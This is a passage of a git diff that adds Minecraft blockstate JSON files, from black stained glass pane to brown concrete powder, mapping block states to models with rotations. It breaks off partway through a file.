a/src/assets/minecraft/blockstates/black_stained_glass_pane.json b/src/assets/minecraft/blockstates/black_stained_glass_pane.json new file mode 100644 index 00000000..d2a59b2f --- /dev/null +++ b/src/assets/minecraft/blockstates/black_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/black_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/black_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_terracotta.json b/src/assets/minecraft/blockstates/black_terracotta.json new file mode 100644 index 00000000..7ae0ad87 --- /dev/null +++ b/src/assets/minecraft/blockstates/black_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/black_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_wall_banner.json b/src/assets/minecraft/blockstates/black_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/black_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/black_wool.json b/src/assets/minecraft/blockstates/black_wool.json new file mode 100644 index 00000000..18b2cb6c --- /dev/null +++ b/src/assets/minecraft/blockstates/black_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/black_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blackstone.json b/src/assets/minecraft/blockstates/blackstone.json new file mode 100644 index 00000000..5b6e6a41 --- /dev/null +++ b/src/assets/minecraft/blockstates/blackstone.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blackstone" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blackstone_slab.json b/src/assets/minecraft/blockstates/blackstone_slab.json new file mode 100644 index 00000000..41cada96 --- /dev/null +++ b/src/assets/minecraft/blockstates/blackstone_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/blackstone_slab" + }, + "type=double": { + "model": "minecraft:block/blackstone" + }, + "type=top": { + "model": "minecraft:block/blackstone_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blackstone_stairs.json b/src/assets/minecraft/blockstates/blackstone_stairs.json new file mode 100644 index 00000000..0a6f7702 --- /dev/null +++ b/src/assets/minecraft/blockstates/blackstone_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/blackstone_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/blackstone_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/blackstone_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/blackstone_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blackstone_wall.json b/src/assets/minecraft/blockstates/blackstone_wall.json new file mode 100644 index 00000000..7ed55f59 --- /dev/null +++ b/src/assets/minecraft/blockstates/blackstone_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/blackstone_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blast_furnace.json b/src/assets/minecraft/blockstates/blast_furnace.json new file mode 100644 index 00000000..63dbedd7 --- /dev/null +++ b/src/assets/minecraft/blockstates/blast_furnace.json @@ -0,0 +1,34 @@ +{ + "variants": { + "facing=east,lit=false": { + "model": "minecraft:block/blast_furnace", + "y": 90 + }, + "facing=east,lit=true": { + "model": "minecraft:block/blast_furnace_on", + "y": 90 + }, + "facing=north,lit=false": { + "model": "minecraft:block/blast_furnace" + }, + "facing=north,lit=true": { + "model": "minecraft:block/blast_furnace_on" + }, + "facing=south,lit=false": { + "model": "minecraft:block/blast_furnace", + "y": 180 + }, + "facing=south,lit=true": { + "model": "minecraft:block/blast_furnace_on", + "y": 180 + }, + "facing=west,lit=false": { + "model": "minecraft:block/blast_furnace", + "y": 270 + }, + "facing=west,lit=true": { + "model": "minecraft:block/blast_furnace_on", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_banner.json b/src/assets/minecraft/blockstates/blue_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_bed.json b/src/assets/minecraft/blockstates/blue_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_carpet.json b/src/assets/minecraft/blockstates/blue_carpet.json new file mode 100644 index 00000000..082b9f34 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_concrete.json b/src/assets/minecraft/blockstates/blue_concrete.json new file mode 100644 index 00000000..7c63116c --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_concrete_powder.json b/src/assets/minecraft/blockstates/blue_concrete_powder.json new file mode 100644 index 00000000..92d2724a --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/blue_concrete_powder" + }, + { + "model": "minecraft:block/blue_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/blue_concrete_powder", + "y": 180 + }, + { + "model": "minecraft:block/blue_concrete_powder", + "y": 270 + } + ] + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_glazed_terracotta.json b/src/assets/minecraft/blockstates/blue_glazed_terracotta.json new file mode 100644 index 00000000..063c11c4 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_glazed_terracotta.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/blue_glazed_terracotta", + "y": 270 + }, + "facing=north": { + "model": "minecraft:block/blue_glazed_terracotta", + "y": 180 + }, + "facing=south": { + "model": "minecraft:block/blue_glazed_terracotta" + }, + "facing=west": { + "model": "minecraft:block/blue_glazed_terracotta", + "y": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_ice.json b/src/assets/minecraft/blockstates/blue_ice.json new file mode 100644 index 00000000..79ce6ac4 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_ice.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_ice" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_orchid.json b/src/assets/minecraft/blockstates/blue_orchid.json new file mode 100644 index 00000000..4cdb3149 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_orchid.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_orchid" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_shulker_box.json b/src/assets/minecraft/blockstates/blue_shulker_box.json new file mode 100644 index 00000000..9f05ab96 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_shulker_box.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_shulker_box" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_stained_glass.json b/src/assets/minecraft/blockstates/blue_stained_glass.json new file mode 100644 index 00000000..e495d004 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_stained_glass.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_stained_glass" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_stained_glass_pane.json b/src/assets/minecraft/blockstates/blue_stained_glass_pane.json new file mode 100644 index 00000000..6f7066ef --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_stained_glass_pane.json @@ -0,0 +1,77 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_post" + } + }, + { + "when": { + "north": "true" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_side" + } + }, + { + "when": { + "east": "true" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_side", + "y": 90 + } + }, + { + "when": { + "south": "true" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_side_alt" + } + }, + { + "when": { + "west": "true" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_side_alt", + "y": 90 + } + }, + { + "when": { + "north": "false" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_noside" + } + }, + { + "when": { + "east": "false" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_noside_alt" + } + }, + { + "when": { + "south": "false" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_noside_alt", + "y": 90 + } + }, + { + "when": { + "west": "false" + }, + "apply": { + "model": "minecraft:block/blue_stained_glass_pane_noside", + "y": 270 + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_terracotta.json b/src/assets/minecraft/blockstates/blue_terracotta.json new file mode 100644 index 00000000..972492b1 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_terracotta.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_terracotta" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_wall_banner.json b/src/assets/minecraft/blockstates/blue_wall_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_wall_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/blue_wool.json b/src/assets/minecraft/blockstates/blue_wool.json new file mode 100644 index 00000000..1b65b8e6 --- /dev/null +++ b/src/assets/minecraft/blockstates/blue_wool.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/blue_wool" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bone_block.json b/src/assets/minecraft/blockstates/bone_block.json new file mode 100644 index 00000000..284e15b2 --- /dev/null +++ b/src/assets/minecraft/blockstates/bone_block.json @@ -0,0 +1,16 @@ +{ + "variants": { + "axis=x": { + "model": "minecraft:block/bone_block", + "x": 90, + "y": 90 + }, + "axis=y": { + "model": "minecraft:block/bone_block" + }, + "axis=z": { + "model": "minecraft:block/bone_block", + "x": 90 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bookshelf.json b/src/assets/minecraft/blockstates/bookshelf.json new file mode 100644 index 00000000..a0198c08 --- /dev/null +++ b/src/assets/minecraft/blockstates/bookshelf.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bookshelf" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brain_coral.json b/src/assets/minecraft/blockstates/brain_coral.json new file mode 100644 index 00000000..7b100296 --- /dev/null +++ b/src/assets/minecraft/blockstates/brain_coral.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brain_coral" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brain_coral_block.json b/src/assets/minecraft/blockstates/brain_coral_block.json new file mode 100644 index 00000000..2c133d41 --- /dev/null +++ b/src/assets/minecraft/blockstates/brain_coral_block.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brain_coral_block" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brain_coral_fan.json b/src/assets/minecraft/blockstates/brain_coral_fan.json new file mode 100644 index 00000000..353ec6b5 --- /dev/null +++ b/src/assets/minecraft/blockstates/brain_coral_fan.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brain_coral_fan" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brain_coral_wall_fan.json b/src/assets/minecraft/blockstates/brain_coral_wall_fan.json new file mode 100644 index 00000000..76fa0a4a --- /dev/null +++ b/src/assets/minecraft/blockstates/brain_coral_wall_fan.json @@ -0,0 +1,19 @@ +{ + "variants": { + "facing=east": { + "model": "minecraft:block/brain_coral_wall_fan", + "y": 90 + }, + "facing=north": { + "model": "minecraft:block/brain_coral_wall_fan" + }, + "facing=south": { + "model": "minecraft:block/brain_coral_wall_fan", + "y": 180 + }, + "facing=west": { + "model": "minecraft:block/brain_coral_wall_fan", + "y": 270 + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brewing_stand.json b/src/assets/minecraft/blockstates/brewing_stand.json new file mode 100644 index 00000000..b054e4ea --- /dev/null +++ b/src/assets/minecraft/blockstates/brewing_stand.json @@ -0,0 +1,57 @@ +{ + "multipart": [ + { + "apply": { + "model": "minecraft:block/brewing_stand" + } + }, + { + "when": { + "has_bottle_0": "true" + }, + "apply": { + "model": "minecraft:block/brewing_stand_bottle0" + } + }, + { + "when": { + "has_bottle_1": "true" + }, + "apply": { + "model": "minecraft:block/brewing_stand_bottle1" + } + }, + { + "when": { + "has_bottle_2": "true" + }, + "apply": { + "model": "minecraft:block/brewing_stand_bottle2" + } + }, + { + "when": { + "has_bottle_0": "false" + }, + "apply": { + "model": "minecraft:block/brewing_stand_empty0" + } + }, + { + "when": { + "has_bottle_1": "false" + }, + "apply": { + "model": "minecraft:block/brewing_stand_empty1" + } + }, + { + "when": { + "has_bottle_2": "false" + }, + "apply": { + "model": "minecraft:block/brewing_stand_empty2" + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brick_slab.json b/src/assets/minecraft/blockstates/brick_slab.json new file mode 100644 index 00000000..dc9f2cce --- /dev/null +++ b/src/assets/minecraft/blockstates/brick_slab.json @@ -0,0 +1,13 @@ +{ + "variants": { + "type=bottom": { + "model": "minecraft:block/brick_slab" + }, + "type=double": { + "model": "minecraft:block/bricks" + }, + "type=top": { + "model": "minecraft:block/brick_slab_top" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brick_stairs.json b/src/assets/minecraft/blockstates/brick_stairs.json new file mode 100644 index 00000000..0cbb6f4b --- /dev/null +++ b/src/assets/minecraft/blockstates/brick_stairs.json @@ -0,0 +1,209 @@ +{ + "variants": { + "facing=east,half=bottom,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner" + }, + "facing=east,half=bottom,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=east,half=bottom,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer" + }, + "facing=east,half=bottom,shape=straight": { + "model": "minecraft:block/brick_stairs" + }, + "facing=east,half=top,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=east,half=top,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=east,half=top,shape=straight": { + "model": "minecraft:block/brick_stairs", + "x": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=north,half=bottom,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "y": 270, + "uvlock": true + }, + "facing=north,half=bottom,shape=straight": { + "model": "minecraft:block/brick_stairs", + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=north,half=top,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "uvlock": true + }, + "facing=north,half=top,shape=straight": { + "model": "minecraft:block/brick_stairs", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=south,half=bottom,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner" + }, + "facing=south,half=bottom,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer" + }, + "facing=south,half=bottom,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=south,half=bottom,shape=straight": { + "model": "minecraft:block/brick_stairs", + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=south,half=top,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=south,half=top,shape=straight": { + "model": "minecraft:block/brick_stairs", + "x": 180, + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "y": 90, + "uvlock": true + }, + "facing=west,half=bottom,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "y": 180, + "uvlock": true + }, + "facing=west,half=bottom,shape=straight": { + "model": "minecraft:block/brick_stairs", + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_left": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=inner_right": { + "model": "minecraft:block/brick_stairs_inner", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=outer_left": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "y": 180, + "uvlock": true + }, + "facing=west,half=top,shape=outer_right": { + "model": "minecraft:block/brick_stairs_outer", + "x": 180, + "y": 270, + "uvlock": true + }, + "facing=west,half=top,shape=straight": { + "model": "minecraft:block/brick_stairs", + "x": 180, + "y": 180, + "uvlock": true + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brick_wall.json b/src/assets/minecraft/blockstates/brick_wall.json new file mode 100644 index 00000000..98dacc69 --- /dev/null +++ b/src/assets/minecraft/blockstates/brick_wall.json @@ -0,0 +1,90 @@ +{ + "multipart": [ + { + "when": { + "up": "true" + }, + "apply": { + "model": "minecraft:block/brick_wall_post" + } + }, + { + "when": { + "north": "low" + }, + "apply": { + "model": "minecraft:block/brick_wall_side", + "uvlock": true + } + }, + { + "when": { + "east": "low" + }, + "apply": { + "model": "minecraft:block/brick_wall_side", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "low" + }, + "apply": { + "model": "minecraft:block/brick_wall_side", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "low" + }, + "apply": { + "model": "minecraft:block/brick_wall_side", + "y": 270, + "uvlock": true + } + }, + { + "when": { + "north": "tall" + }, + "apply": { + "model": "minecraft:block/brick_wall_side_tall", + "uvlock": true + } + }, + { + "when": { + "east": "tall" + }, + "apply": { + "model": "minecraft:block/brick_wall_side_tall", + "y": 90, + "uvlock": true + } + }, + { + "when": { + "south": "tall" + }, + "apply": { + "model": "minecraft:block/brick_wall_side_tall", + "y": 180, + "uvlock": true + } + }, + { + "when": { + "west": "tall" + }, + "apply": { + "model": "minecraft:block/brick_wall_side_tall", + "y": 270, + "uvlock": true + } + } + ] +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/bricks.json b/src/assets/minecraft/blockstates/bricks.json new file mode 100644 index 00000000..7b54ff6a --- /dev/null +++ b/src/assets/minecraft/blockstates/bricks.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bricks" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_banner.json b/src/assets/minecraft/blockstates/brown_banner.json new file mode 100644 index 00000000..f5e2c87f --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_banner.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/banner" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_bed.json b/src/assets/minecraft/blockstates/brown_bed.json new file mode 100644 index 00000000..6577c90a --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_bed.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/bed" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_carpet.json b/src/assets/minecraft/blockstates/brown_carpet.json new file mode 100644 index 00000000..7273224e --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_carpet.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_carpet" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_concrete.json b/src/assets/minecraft/blockstates/brown_concrete.json new file mode 100644 index 00000000..6841a73c --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_concrete.json @@ -0,0 +1,7 @@ +{ + "variants": { + "": { + "model": "minecraft:block/brown_concrete" + } + } +} \ No newline at end of file diff --git a/src/assets/minecraft/blockstates/brown_concrete_powder.json b/src/assets/minecraft/blockstates/brown_concrete_powder.json new file mode 100644 index 00000000..49ef7837 --- /dev/null +++ b/src/assets/minecraft/blockstates/brown_concrete_powder.json @@ -0,0 +1,21 @@ +{ + "variants": { + "": [ + { + "model": "minecraft:block/brown_concrete_powder" + }, + { + "model": "minecraft:block/brown_concrete_powder", + "y": 90 + }, + { + "model": "minecraft:block/brown_concrete_powder", + "y": 180 